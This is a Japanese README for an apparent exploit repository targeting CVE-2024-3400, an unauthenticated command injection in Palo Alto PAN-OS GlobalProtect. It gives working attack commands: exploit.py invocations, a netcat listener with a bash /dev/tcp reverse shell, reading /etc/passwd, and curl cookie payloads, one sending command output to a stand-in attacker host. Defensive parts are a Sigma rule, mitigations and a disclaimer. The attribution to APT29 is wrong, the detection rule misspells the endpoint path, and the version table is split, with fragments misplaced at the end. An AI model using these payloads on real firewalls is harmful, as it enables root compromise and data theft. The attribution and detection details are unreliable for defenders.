
cve-2024-3400-panos_rce_reproduction の再現。
CVSS 10.0 クリティカル | CWE-78: OSコマンドインジェクション | 実環境で大規模に悪用済み
CVE-2024-3400 は、Palo Alto Networks PAN-OS GlobalProtect ポータルおよびゲートウェイインターフェースにおける事前認証コマンドインジェクションの脆弱性です。この脆弱性により、認証されていない攻撃者が影響を受けるファイアウォール上で root 権限で任意のコマンドを実行できる可能性があります。
この脆弱性は、GlobalProtect ポータルおよびゲートウェイコンポーネントのセッションクッキー処理に存在します。SESSID クッキーを処理する関数は、シェルコマンドに渡す前にユーザー指定入力を適切にサニタイズできません。
具体的には、シェルのメタ文字(バッククォートと変数展開)を埋め込んだ細工済み SESSID クッキーを含む、GlobalProtect ポータルエンドポイント(/global-protect/login.esp)への認証されていない HTTP リクエストにより、コマンドインジェクションが発生します。
脆弱なコードパスは次のように動作します:
/global-protect/login.esp へのリクエストを受信しますSESSID クッキー値がサニタイズなしで抽出されますsystem() または類似の OS コマンド実行関数を介して実行されますインジェクションペイロードは、SESSID クッキー内でバッククォート区切りのコマンドを使用します:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
パストラバーサル(/../../../)により意図されたディレクトリの外へ脱出し、バッククォートで囲まれた COMMAND 部分により、シェルが攻撃者の入力を実行します。出力リダイレクトやリバースシェル機構を使用して、コマンド結果を外部に持ち出すことができます。
| PAN-OS バージョン | 影響を受ける | 修正版 |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 |
注記: PAN-OS 9.x 以前は影響を受けません。Cloud NGFW および Prisma Access は影響を受けません。
UNC4554 / Midnight Blizzard (APT29) は、2024年3月から 0-day として CVE-2024-3400 を悪用しているのが観測されています。Volexity は2024年4月12日に分析結果を公開しました。攻撃パターンには以下が含まれます:
複数の公開 PoC がリリースされています。このリポジトリは、認可されたテストのための機能的なエクスプロイトを提供します。
requests ライブラリpip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
このリポジトリの exploit.py を参照してください。以下をサポートするフル機能の Python エクスプロイトです:
SESSID クッキーを含む /global-protect/login.esp へのリクエスト/../../)を含むクッキー/opt/panlogs/tmp/device_telemetry/ に .py 拡張子で書き込まれたファイルtitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes(再起動不要で脆弱なコードパスをブロック)/opt/panlogs/tmp/device_telemetry/ に不正なファイルがないか確認SESSID クッキー値を監査Palo Alto Networks が提供するホットフィックスを適用します。この修正により、シェルコマンド構築前にクッキー入力が適切にサニタイズされます。
悪用を疑う場合:
このリポジトリは、認可されたセキュリティテストおよび教育目的のみで提供されています。この脆弱性の無断悪用は違法です。著者はこの情報の誤用について責任を負いません。システムをテストする前に、必ず明示的な書面による許可を得てください。
MIT ライセンス - このコンテンツは、防御的セキュリティ研究および認可されたテストのために提供されています。
| 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
| ソース | リンク |
|---|